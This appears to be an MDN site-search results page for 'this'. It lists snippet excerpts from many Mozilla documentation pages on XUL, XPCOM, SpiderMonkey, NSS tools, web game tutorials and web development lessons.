this example: */ "utf-8"; const replacementchar = components.interfaces.nsiconverterinputstream.default_replacement_character; var is = components.classes["@mozilla.org/intl/converter-input-stream;1"] .createinstance(components.interfaces.nsiconverterinputstream); is.init(fis, charset, 1024, replacementchar); now you can read string from is: var str = {}; var numchars = is.readstring(4096, str); if (numchars != 0 /* eof */) var read_string = str.value; to read the entire stream and do something with the data: var str = {}; while (is.readstring(4096, str) != 0) { processdata(str.value); } don't forget to close the stream when you're done with it (is.close()).
...And 4 more matches
File object - Archive of obsolete content
warning:
this section describes the file component of the spidermonkey javascript interpreter.
... if you are building a standalone version of spidermonkey (see: spidermonkey build documentation),
this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery.
... summary non-standard server-side object
this object lets you work files and directories on the local filesystem, and create os pipelines.
...And 4 more matches
Static Analysis for Windows Code under Linux - Archive of obsolete content
this document will describe how to run mozilla static check for windows code under linux platform by creating a cross-compiler with dehydra support for mingw.
...
this makes it easy to apply patches, they can be applied manually hg init .
... now, the gcc source with plugin supports is ready, we should now build a cross compiler from
this source.
...And 4 more matches
Tamarin Acceptance Test Template - Archive of obsolete content
this is the test template for tamarin acceptance tests (placed in test/acceptance/feature_name): /* -*- mode: js; c-basic-offset: 4; indent-tabs-mode: nil; tab-width: 4 -*- */ /* vi: set ts=4 sw=4 expandtab: (add to ~/.vimrc: set modeline modelines=5) */ /* ***** begin license block ***** * version: mpl 1.1/gpl 2.0/lgpl 2.1 * * the contents of
this file are subject to the mozilla public license version * 1.1 (the "license"); you may not use
this file except in compliance with * the license.
... * * contributor(s): * adobe as3 team * * alternatively, the contents of
this file may be used under the terms of * either the gnu general public license version 2 or later (the "gpl"), or * the gnu lesser general public license version 2.1 or later (the "lgpl"), * in which case the provisions of the gpl or the lgpl are applicable instead * of those above.
... if you wish to allow use of your version of
this file only * under the terms of either the gpl or the lgpl, and not to allow others to * use your version of
this file under the terms of the mpl, indicate your * decision by deleting the provisions above and replace them with the notice * and other provisions required by the gpl or the lgpl.
...And 4 more matches
Using gdb on wimpy computers - Archive of obsolete content
the solution to
this is to delay loading shared libraries until they are actually needed.
...the best way to do
this is to set a breakpoint in main, let the program run until main and then turn off automatic library loading.
...
this gdb was configured as "i386-redhat-linux"...
...And 4 more matches
When To Use ifdefs - Archive of obsolete content
in
this document, the term is used more loosely to discuss any kind of conditional that differentiates between different build configurations.
...the only time when they might be a problem is in cross-platform extension code and locales: since
this code is downloaded on multiple platforms, platform-specific ifdefs are generally out of the question.
...
this variable marks any application that is using the "toolkit".
...And 4 more matches
button.type - Archive of obsolete content
if
this attribute is not present, a normal button is created.
... checkbox
this type of button can be in two states.
...
this is not the same as a checkbox because it looks like a button.
...And 4 more matches
Dynamically modifying XUL-based user interface - Archive of obsolete content
this article discusses manipulating xul interfaces, using dom and other apis.
...(read more about
this in working with windows in chrome code.) when your script is included using a <script> tag, the document property references the dom document that includes the script.
... examples: using dom methods
this section demonstrates the use of appendchild(), createelement(), insertbefore(), and removechild() dom methods.
...And 4 more matches
Uploading and Downloading Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...
this is done by using an html <input> element using the file type from within a form.
...
this operation can also be performed via a script using the xmlhttprequest object.
...And 4 more matches
findbar - Archive of obsolete content
for example, the standard findbar in firefox 3.5 looks like
this on the mac: you may attach a findbar to a particular browser element by either setting the findbar's browserid attribute to the id of the browser element before the findbar element is bound, or by setting the findbar's browser property to the browser element itself.
...
this attribute is only used when the findbar is constructed.
... you should use the browser property to get and set
this value from a script.
...And 4 more matches
PopupKeys - Archive of obsolete content
this allows items within the menu to be navigated with the cursor keys.
...if a menuitem is selected,
this will close the menu and fire the menuitem's command event.
...
this is because the key listener is a capturing listener attached to the document.
...And 4 more matches
Additional Template Attributes - Archive of obsolete content
this allows you to share the same template among two different parts of the user interface.
... to use
this technique, place a template attribute on the root element set to the id of a template.
...</template>
this template will be shared with any other element that references the id 'phototemplate'.
...And 4 more matches
Building Hierarchical Trees - Archive of obsolete content
this works just like with recursive generation using the content builder.
...to be able to do
this, the tree builder must know that an item is a container.
... with an rdf datasource,
this would usually be an rdf container such as a seq and the tree would display its children.
...And 4 more matches
Creating a Wizard - Archive of obsolete content
an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description>
this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best friend"/> </menupopup> </menulist> </wizardpage> <wizardpage description="dog details...
...lue="provide additional details about the dog you would like:"/> <radiogroup> <caption label="size"/> <radio value="small" label="small"/> <radio value="large" label="large"/> </radiogroup> <radiogroup> <caption label="gender"/> <radio value="male" label="male"/> <radio value="female" label="female"/> </radiogroup> </wizardpage> </wizard>
this wizard has two pages, one that has a drop-down menu and the other with a set of radio buttons.
...all of
this is automatic, so you don't have to do anything to manipulate the pages.
...And 4 more matches
Stacks and Decks - Archive of obsolete content
the stack and deck elements can be used for
this purpose.
...
this has the result of drawing the same text 'shadowed' again but slightly offset from the other.
...
this method has advantages over using text-shadow because you could completely style the shadow apart from the main text.
...And 4 more matches
commandset - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is not displayed and serves as a container for command elements.
... in addition,
this element can hold a command updater which is used to update commands when certain events occur.
...typically,
this is used to update menu commands such as undo and cut based on when an event occurs.
...And 4 more matches
richlistitem - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 4 more matches
splitter - Archive of obsolete content
attributes collapse, resizeafter, resizebefore, state, substate style classes tree-splitter examples <!--
this bar has some styling associated with it.
...if
this attribute is not specified, the splitter will not cause a collapse.
... resizeafter type: one of the values below
this attribute indicates which element to the right or below the splitter should be resized when the splitter is repositioned.
...And 4 more matches
CommandLine - Archive of obsolete content
a similar and better way to implement
this solution is by defining argument specific handlers with registering and unregistering functions in your command line handler service.
...
this has the advantage to accumulate unhandled arguments until a specific handler is added.
...
this approach has been used in songbird.
...And 4 more matches
Using LDAP XPCOM with XULRunner - Archive of obsolete content
this will create two files in the components directory of the build package: mozldap.dll (or libmozldap.so or...) mozldap.xpt and two files in the root directory of the build package: on windows: nsldap32v50.dll nsldappr32v50.dll on linux: libldap50.so libprldap50.so those are the native ldap library.
... if you copy as usual those files in the components directory of your xul app,
this can't work.
...
this is due to the fact that the native ldap library files are not found by the xulrunner process.
...And 4 more matches
MacFAQ - Archive of obsolete content
(note
this document has not been reviewed for accuracy or completeness.) special build notes enable libxul.
...to do
this, type: xulrunner-bin --install-app /path/to/appdir note the path to your application must end with the directory containing application.ini; you should not reference application.ini in
this command.
...
this command will place a copy of your application in /applications/(vendor)/(name) , where (vendor) is the vendor field in your application.ini and (name) is the name field.
...And 4 more matches
2006-10-20 - Archive of obsolete content
he stated that he was able to pre-package the extensions that he wanted by following
this walkthrough and a little bit of help from
this post.
... jeff provided
this link as an answer to christopher finkes' question.
...paul would like to hear from anyone who is against
this decision.
...And 4 more matches
NPN_GetURL - Archive of obsolete content
safest target, even though, when used with a mailto or news url,
this creates an extra blank the browser instance.
...plug-ins can use
this capability to provide hyperlinks to other documents or to retrieve data from anywhere on the network.
...
this is especially useful for enabling an existing application to operate on the web.
...And 4 more matches
Writing a plugin for Mac OS X - Archive of obsolete content
this article is adapted from josh aas's blog post writing an npapi plugin for mac os x.
... before you go on reading
this article, you may wish to grab the sample code located here, as it will be referenced during
this tutorial.
... to install the plugin, just copy it into one of these two locations: /library/internet plugins/ ~/library/internet plugins/ from
this point, you can simply modify the sample plugin to do whatever you want.
...And 4 more matches
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
rss does not have any facilites for including
this information in an <item>, so the rss slash module exists to fill in
this gap.
...
this element gives the (current) total number of comments made for the item -- for the blog post.
... although not necessary, people also often use other rss modules to get at (and read) the comments (since rss does not currently provide facilities for
this either).
...And 4 more matches
Threats - Archive of obsolete content
this article discusses threats, explaining what they are and how they can affect network traffic.
...because of
this, it can be intercepted by a third party.
...
this type of impersonation is known as spoofing.
...And 4 more matches
Theme changes in Firefox 4 - Archive of obsolete content
this article covers changes in firefox 4 that affect theme developers.
... omni.jar firefox 4 achieves performance improvements by moving many of its internal parts from being standalone files or sets of jar files into just one jar file;
this reduces the amount of i/o needed to load firefox.
... however,
this does impact theme developers, since many of the files that they need to pull out and work with are now in a new place.
...And 4 more matches
Settings - Archive of obsolete content
the debugger has its own settings menu, which you can access from an icon in the toolbar: each setting is a simple on/off switch: auto prettify minified sources with
this option enabled, the debugger will automatically detect minified js files and pretty-print them.
... pause on exceptions when
this option is enabled, execution of the script will automatically pause whenever a javascript exception is thrown.
... ignore caught exceptions if
this option is set (it is set by default) and "pause on exceptions" is set, then execution will pause on an exception only if that exception is not caught.
...And 4 more matches
Displaying notifications (deprecated) - Archive of obsolete content
this non standard api has been dropped in firefox 22 in favor of the standard api.
... creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check
this out!", "
this is a notification posted by " + "firefox 4.
...right now!");
this returns a new notification object, but does not actually display the notification.
...And 4 more matches
JSObject - Archive of obsolete content
equivalent to "
this.methodname(args[0], args[1], ...)" in javascript.
...the expression is a string of javascript source code which will be evaluated in the context given by "
this".
...equivalent to "
this.name" in javascript.
...And 4 more matches
XForms Range Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing
this control.
...values can't be less than the value of
this attribute.
... if
this attribute is omitted, then it is assumed to be 0.
...And 4 more matches
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
the purpose of
this document is to discuss and emphasize the importance of conforming to open technology standards that are external to the organization.
...
this process is not unique: most organizations have basic project management processes for product or service.
...when
this happens, a development standard is created and is expected to be followed.
...And 4 more matches
Introduction to game development for the Web - Game development
here's a thorough list to give you a taste of what the web can do for you: full screen api
this simple api lets your game take over the entire screen, thereby immersing the player in action.
... gamepad api if you want your users to be able to use gamepads or other game controllers to work your game, you'll need
this api.
... typed arrays javascript typed arrays give you access to raw binary data from within javascript;
this lets you manipulate gl textures, game data, or anything else, even if it's not in a native javascript format.
...And 4 more matches
Implementing game control mechanisms - Game development
in
this series of articles we will show you how you can approach building a game that can be played using touchscreen smartphones, mouse and keyboard, and also less common mechanisms such as gamepads.
...the game's folders look like
this: as you can see there are folders for images, javascript files, fonts and sound effects.
... the src folder contains the javascript files split as a separate states — boot.js, preloader.js, mainmenu.js and game.js — these are loaded into the index file in
this exact order.
...And 4 more matches
Square tilemaps implementation: Static maps - Game development
this article covers how to implement static square tilemaps using the canvas api.
... note: when writing
this article, we assumed previous reader knowledge of canvas basics such as how get a 2d canvas context, load images, etc., which is all explained in the canvas api tutorial, as well as the basic information included in our tilemaps introduction article.
...
this is the atlas we will be using as an example, which features five different tiles: to draw a tile from the atlas into the canvas we make use of the drawimage() method in a canvas 2d context.
...And 4 more matches
Finishing up - Game development
« previous
this is the 10th and final step of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson10.html.
...so, in the draw() function replace the following three lines: alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game with
this, we can add slightly more complex logic to it as given below: lives--; if(!lives) { alert("game over"); document.location.reload(); clearinterval(interval); // needed for chrome to end game } else { x = canvas.width/2; y = canvas.height-30; dx = 2; dy = -2; paddlex = (canvas.width-paddlewidth)/2; } now, when the ball hits the bottom edge of the screen, we're subt...
...And 4 more matches
Move the ball - Game development
« previousnext »
this is the 2nd step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson2.html.
...
this works ok, although it appears that the ball is leaving a trail behind it: clearing the canvas before each frame the ball is leaving a trail because we're painting a new circle on every frame without removing the previous one.
...And 4 more matches
Paddle and keyboard controls - Game development
« previousnext »
this is the 4th step out of 10 of the gamedev canvas tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-canvas-workshop/lesson4.html.
...== "right" || e.key == "arrowright") { rightpressed = true; } else if(e.key == "left" || e.key == "arrowleft") { leftpressed = true; } } function keyuphandler(e) { if(e.key == "right" || e.key == "arrowright") { rightpressed = false; } else if(e.key == "left" || e.key == "arrowleft") { leftpressed = false; } } when we press a key down,
this information is stored in a variable.
...And 4 more matches
Animations and tweens - Game development
« previousnext »
this is the 14th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson14.html.
...
this will result in a better, more entertaining experience.
...And 4 more matches
Physics - Game development
« previousnext »
this is the 5th step out of 16 of the gamedev phaser tutorial.
... you can find the source code as it should look after completing
this lesson at gamedev-phaser-content-kit/demos/lesson05.html.
... for proper collision detection between objects in our game we will need to have physics;
this article introduces you to what's available in phaser, as well as demonstrating a typical simple setup.
...And 4 more matches
Tutorials - Game development
this page contains multiple tutorial series that highlight different workflows for effectively creating different types of web games.
... 2d breakout game using pure javascript in
this step-by-step tutorial you'll implement a simple breakout clone using pure javascript.
... 2d breakout game using phaser in
this step-by-step tutorial you'll implement the same breakout clone as the previous tutorial series, except that
this time you'll do it using thephaser html5 game framework.
...And 4 more matches
MVC - MDN Web Docs Glossary: Definitions of Web-related terms
this "separation of concerns" provides for a better division of labor and improved maintenance.
...all we want is a list of the name, quantity and price of each item we need to buy
this week.
... below we'll describe how we could implement some of
this functionality using mvc.
...And 4 more matches
Test your skills: CSS and JavaScript accessibility - Learn web development
this aim of
this skill test is to assess whether you've understood our css and javascript accessibility best practices article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: download the starting point for
this task to work in your own editor or in an online editor.
...And 4 more matches
Combinators - Learn web development
for example, to select only <p> elements that are direct children of <article> elements: article > p in
this next example, we have an unordered list, nested inside of which is an ordered list.
... if you remove the > that designates
this as a child combinator, you end up with a descendant selector and all <li> elements will get a red border.
...to select all <img> elements that come anywhere after <p> elements, we'd do
this: p ~ img in the example below we are selecting all <p> elements that come after the <h1>, and even though there is a <div> in the document as well, the <p> that comes after it is selected.
...And 4 more matches
Test your skills: Writing Modes and Logical Properties - Learn web development
the aim of
this task is to help you check your understanding of writing modes and logical properties.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for
this task to work in your own editor or in an online editor.
...And 4 more matches
Test Your Skills: Fundamental layout comprehension - Learn web development
if you have worked through
this module then you will have already covered the basics of what you need to know to do css layout today, and to work with older css as well.
...
this task will test some of your knowledge by way of developing a simple webpage layout using a variety of techniques.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...And 4 more matches
Test your skills: Multicol - Learn web development
the aim of
this task is to get you working with the css column-count, column-width, column-gap, column-span and column-rule properties and values covered in our lesson on multiple-column layout.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... multicol one in
this task you need to create three columns, with a 50px gap between each column.
...And 4 more matches
How does the Internet work? - Learn web development
this article discusses what the internet is and how it works.
... note: for the rest of
this article, we will only talk about physical cables, but wireless networks work the same.
... to solve
this problem, each computer on a network is connected to a special tiny computer called a router.
...And 4 more matches
Marking up a letter - Learn web development
in
this assignment, you'll have a letter to mark up as a test for your html text formatting skills, as well as hyperlinks and proper use of the html <head> element.
... prerequisites: before attempting
this assessment you should have already worked through getting started with html, what's in the head?
...see the assessment or further help section at the bottom of
this page.
...And 4 more matches
Test your skills: Advanced HTML text - Learn web development
the aim of
this skill test is to assess whether you've understood our advanced text formatting article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... advanced html text 1 in
this task we want you to turn the provided animals and their definitions into a description list.
...And 4 more matches
Test your skills: Object-oriented JavaScript - Learn web development
the aim of
this skill test is to assess whether you've understood our object-oriented javascript for beginners, object prototypes, and inheritance in javascript articles.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... oojs 1 in
this task we provide you with a constructor.
...And 4 more matches
Measuring performance - Learn web development
this article introduces web perfomrance metrics that you can use to measure and optimize your site's performance.
... while
this article does not dive into using these apis, it is useful to know they exist.
... we'll talk about both categories in
this course.
...And 4 more matches
Multimedia: video - Learn web development
this article looks at optimizing video to improve web performance.
... <video autoplay="" loop="" muted="true" playsinline="" id="hero-video"> <source src="banner_video.webm" type='video/webm; codecs="vp8, vorbis"'> <source src="web_banner.mp4" type="video/mp4"> </video>
this hero-video code (above) is common to conference websites and corporate home pages.
...
this is the ffmpeg command string to remove audio: ffmpeg -i original.mp4 -an -c:v copy audiofreeversion.mp4 video preload the preload attribute has three available options: auto|metadata|none.
...And 4 more matches
Ember resources and troubleshooting - Learn web development
general troubleshooting, gotchas, and misconceptions
this is nowhere near an extensive list, but it is a list of things that came up around the time of writing (latest update, may 2020).
... using the design patterns provided by the framework, a route using fetch() would look something like
this: import route from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's model here.
...
this is the most common question ember folks hear from people who have previous experience with react.
...And 4 more matches
Tools and testing - Learn web development
working out what tools you should be using can be a difficult process, so we have written
this set of articles to inform you of what types of tool are available, what they can do for you, and how to make use of the current industry favourites.
... note: we have referenced a number of tools in
this topic, not because we endorse them or think they are the best, but because we know they work and have good industry support.
... in addition, you should start with the first module in
this topic, which gives a useful overview of the general area.
...And 4 more matches
A bird's-eye view of the Mozilla framework
tiner last updated date: 11/23/05 statement of purpose the purpose of
this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... prerequisites
this article assumes you have access to mozilla sources and are familiar with the directory structure of the source tree.
...thehelp viewer files referenced in the article are located in /seamonkey/extensions/help/
this article also assumes you are familiar with the javascript and c++ programming languages, object-oriented programming (oop) terminology and design concepts, the microsoft® component object model (com), and the corba omg interface definition language (idl).
...And 4 more matches
Creating a Login Manager storage module
this can be useful if you want to integrate a gecko application's password management with an existing password management system, or use your own password storage format or database.
...ort("resource://gre/modules/xpcomutils.jsm"); function sampleloginmanagerstorage() {} sampleloginmanagerstorage.prototype = { classdescription: "sample nsiloginmanagerstorage implementation", contractid: "@example.com/login-manager/storage/sample;1", classid: components.id("{364a118c-747a-4f6d-ac63-2d2998e5a5c1}"), queryinterface: xpcomutils.generateqi([ci.nsiloginmanagerstorage]), //
this registers the category for overriding the built-in nsiloginmanagerstorage _xpcom_categories: [ { category: "login-manager-storage", entry: "nsiloginmanagerstorage" } ], // console logging service, used for debugging.
... __logservice : null, get _logservice() { if (!
this.__logservice)
this.__logservice = cc["@mozilla.org/consoleservice;1"].
...And 4 more matches
Inner and outer windows
this article will try to explain the concepts of inner and outer windows.
...
this may be a window or a tab, or it might be an <iframe> contained within another document.
...consider
this view of a window and the browser history: as the user navigates, documents are added to the backward-forward cache (often referred to as the bfcache).
...And 4 more matches
Message manager overview
if chrome code wants to run code in the content process so it can access web content,
this is usually the sort of message manager to use.
... factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to communicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts", but
this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script.
... note that in
this context, "browser" refers to the xul <browser> object, which is a frame that hosts a single web document.
...And 4 more matches
JavaScript Tips
var uniquename = { _privatemember: 3, publicmember: "a string", init: function() {
this.dosomething(
this.anothermember); }, dosomething: function(aparam) { alert(aparam); } }; xpconnect don't use object methods and properties more than you have to.
...you do not have to query interfaces to compare objects, nor to pass objects as parameters (
this is different from c++, where you do have to query interfaces in both cases).
...however,
this is not always necessary or desirable.
...And 4 more matches
DownloadList
if the download was already removed,
this method has no effect.
...the following methods may be defined: ondownloadadded: optional
this function is called with a single download argument, after the download is added to the end of the list.
... ondownloadchanged: optional
this function is called with a single download argument, after the properties of the download change.
...And 4 more matches
MathML In Action
mathml in action are you seeing nifty equations throughout
this page?
...download a mathml-enabled mozilla build to remedy
this sad situation.
...now that you are well-equipped, you should be able to see
this inline equation with varying accents: x ^ + xy ^ + xyz ^ .
...And 4 more matches
MathML Demo: <mtable> - tables and matrices
as a visual aid, the examples deliberately draw attention to the math axis and the baseline: -----------------------
this is the math axis .....................
...
this is the baseline external vertical align is center ---...
...ab α β abx yab γ δ ab ...--- , but
this is subject to variances due to style changes, e.g., from the scriptlevel.
...And 4 more matches
Intel Power Gadget
this article provides a basic introduction.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...And 4 more matches
powermetrics
this document describes the version of powermetrics that comes with mac os 10.10.
... note: the power profiling overview is worth reading at
this point if you haven't already.
... it may make parts of
this document easier to understand.
...And 4 more matches
HTTP delegation
this causes ocsp requests to fail if the network environment requires the use of a proxy.
... there are two possible solutions to
this limitation.
...
this nss feature is currently targeted to first appear in nss version 3.11.1.
...And 4 more matches
HTTP delegation
this causes ocsp requests to fail if the network environment requires the use of a proxy.
... there are two possible solutions to
this limitation.
...
this nss feature is currently targeted to first appear in nss version 3.11.1.
...And 4 more matches
Enc Dec MAC Output Public Key as CSR
generates encryption/mac keys and outputs public key as certificate signing request /*
this source code form is subject to the terms of the mozilla public * license, v.
...if a copy of the mpl was not distributed with
this * file, you can obtain one at http://mozilla.org/mpl/2.0/.
...iler "-----end pub key -----" #define ns_certreq_header "-----begin new certificate request-----" #define ns_certreq_trailer "-----end new certificate request-----" typedef enum { gen_csr, encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6 } headertype; /*
this is conditionalized because port_errortostring was introduced with nss 3.13.
...And 4 more matches
NSS tools : pk12util
this option is provided as a special case.
...
this must be saved as a der file.
... pk12util -l p12file [-h tokenname] [-r] [-d [sql:]directory] [-p dbprefix] [-k slotpasswordfile|-k slotpassword] [-w p12filepasswordfile|-w p12filepassword] for example,
this prints the default ascii output: # pk12util -l certs.p12 enter password for pkcs12 file: key(shrouded): friendly name: thawte freemail member's thawte consulting (pty) ltd.
...And 4 more matches
SpiderMonkey compartments
this can result in significant performance improvements in some applications.
...
this has some important implications: all objects created by a website reside in the same compartment and hence are located in the same memory region.
...
this improves cache utilization by reducing false sharing of cache lines.
...And 4 more matches
How to embed the JavaScript engine
jsautorequest ar(cx); // in practice, you would want to exit
this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world,...
... jsautorequest ar(cx); // in practice, you would want to exit
this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr, js::fireonnewglobalhook)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *...
... jsautorequest ar(cx); // in practice, you would want to exit
this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr, js::fireonnewglobalhook)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *...
...And 4 more matches
JS_AddExternalStringFinalizer
obsolete since jsapi 13
this feature is obsolete.
...the js engine will automatically call
this function each time a string created by js_newexternalstring is garbage-collected.
...
this is always a string that the application previously created by calling js_newexternalstring.
...And 4 more matches
JS_DeleteProperty2
obsolete since jsapi 39
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...no property is deleted, but
this is not an error.
...And 4 more matches
JS_Remove*Root
obsolete since jsapi 31
this feature is obsolete.
...
this enables any pointed-at gc thing to be garbage collected as needed.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...And 4 more matches
JS_SetFunctionCallback
obsolete since jsapi 37
this feature is obsolete.
...
this lets you trace the execution of code, and is particularly useful for javascript tracers and profilers since it works across all run modes (interpreter, method jit, trace jit).
... using
this function may have a significant performance impact.
...And 4 more matches
JS_SetOperationCallback
obsolete since jsapi 30
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8.5 set a callback function that is automatically called periodically while javascript code runs.
... callback syntax jsbool (*jsoperationcallback)(jscontext *cx); name type description cx jscontext * pointer to a jscontext in which
this callback was installed.
...And 4 more matches
JS_SetParent
obsolete since jsapi 39
this feature is obsolete.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must be an object that has not yet been exposed to script.
...And 4 more matches
JS_ShutDown
this method should be called after all other jsapi data has been properly cleaned up: every jsruntime created with js_newruntime must have been destroyed with js_destroyruntime, every jscontext created with js_newcontext must have been destroyed with js_destroycontext, and so on.
... calling
this method before all other resources have been destroyed has undefined behavior.
... failure to call
this method, at present, has no adverse effects other than leaking memory.
...And 4 more matches
Thread Sanitizer
public builds note: no public builds are available at
this time yet.
... manual build build prerequisites note:
this section assumes you're using linux to build.
...# if it's not already in your $path, then uncomment
this next line: #export llvm_symbolizer="/path/to/llvm-symbolizer" # add tsan to our compiler flags export cflags="-fsanitize=thread -fpic -pie" export cxxflags="-fsanitize=thread -fpic -pie" # additionally, we need the tsan flag during linking.
...And 4 more matches
The Publicity Stream API
this library will detect whether native api support is enabled by the user's browser, if not it will shim in a pure html implementation.
... [is
this still doable?] the javascript library should be included from: https://myapps.mozillalabs.com/jsapi/publicity.js all apis related to open web applications are accessed under the navigator.apps object.
... publicizeactivity( <activity>, [ { [ onsuccess: <function> ], [ onerror: <function> ] } ]): applications should call
this method when an user-initiated activity deemed attractive to potential consumers occurs.
...And 4 more matches
XPCOM glue
this is the case for xpcom components, because they are loaded into mozilla which already has full xpcom loaded and initialized.
... use
this when you have a custom application where you want to embed gecko to show webpages in your own window.
...
this linkage strategy is used when an embedder needs to bootstrap xpcom by finding a compatible gre on disk and loading it.
...And 4 more matches
Components.utils.evalInWindow
this function is no longer available as of firefox 34.
...
this function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context.
... the result is structured cloned back to the original context, unless it is native (for example, if it returns a dom node,
this is not structured cloned, because the original context will see that through an xraywrapper already), so it's guaranteed to behave predictably.
...And 4 more matches
XPConnect wrappers
this document is a high-level overview of xpconnect wrapper objects (for the more technical description see xpconnect security membranes).
...
this includes all dom objects (including window) and chrome elements that are reflected into javascript.
...
this wrapper is responsible for mapping calls from javascript into c++.
...And 4 more matches
NS_NewLocalFile
this path does not need to reference an existing file.
... afollowlinks [in]
this attribute will determine if the nsilocalfile instance will automatically resolve symbolic links.
...
this parameter has no effect on unix systems.
...And 4 more matches
operator=
« xpcom api reference summary
this operator is a shortcut for the assign family of functions.
... self_type& operator=( const self_type& astring ); parameters astring [in] a nsacstring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 4 more matches
operator+=
« xpcom api reference summary
this operator+= is a shortcut for the append family of functions.
... self_type& operator+=( const self_type& astring ); parameters astring [in] a nsacstring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 4 more matches
operator=
« xpcom api reference summary
this operator= is a shortcut for the append family of functions.
... self_type& operator+=( const self_type& astring ); parameters astring [in] a nsastring to append to
this string.
... return values
this operator returns a reference back to the object being modified to allow operator chaining.
...And 4 more matches
RefPtr
this is done using the functions addref() and release(), which respectively modify a variable of type nsautorefcnt, which basically is a wrapper around a count of the number of references refering to the class.
...r<nsisupports> a; nscomptr<nsifoo> foo; and for concrete classes: refptr<nsfoo> foo; // class that implements nsifoo; refptr<bar> bar; // some random class that i want ref-counted but has nothing to do with xpcom: // just implement addref() and release() and it will work with refptr it is important that nscomptr is not used to hold a pointer to a concrete class since
this can cause compile time errors or runtime errors.
... bug 756640 is on file to enforce
this rule but hasn't yet been fixed.
...And 4 more matches
imgILoader
modules/libpr0n/public/imgiloader.idlscriptable please add a summary to
this article.
...libpr0n does not keep a strong ref to the observer;
this prevents reference cycles.
...
this means that callers of loadimage should make sure to cancel() the resulting request before the observer goes away.
...And 4 more matches
mozIPersonalDictionary
extensions/spellcheck/idl/mozipersonaldictionary.idlscriptable
this interface represents a personal dictionary.
... to access
this service, use var personaldictionary = components.classes["@mozilla.org/spellchecker/personaldictionary;1"] .getservice(components.interfaces.mozipersonaldictionary); method overview void addcorrection(in wstring word,in wstring correction, in wstring lang); void addword(in wstring word, in wstring lang); boolean check(in wstring word, in wstring lang); void endsession(); void getcorrection(in wstring word, [array, size_is(count)] out wstring words, out pruint32 count); void ignoreword(in wstring word); void load(); void removecorrection(in wstring wor...
...note that
this method is not currently implemented.
...And 4 more matches
mozITXTToHTMLConv
netwerk/streamconv/public/mozitxttohtmlconv.idlscriptable please add a summary to
this article.
...
this applies to "<", "&", and ">" (which are converted to <, &, and >, respectively).
...
this should correct html that isn't entirely standards-compliant.
...And 4 more matches
nsIAlertsService
toolkit/components/alerts/nsialertsservice.idlscriptable
this interface can be used to notify the user of something that does not require an immediate reaction.
... note: if you are calling
this function from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22.
... name optional a name for the notification;
this is not displayed in the alert.
...And 4 more matches
nsIAppShell
this interface is designed to be used on the main application thread only.
...native event starvation
this hint tells the native dispatch code which to favor.
...calls to
this function may be nested.
...And 4 more matches
nsIBidiKeyboard
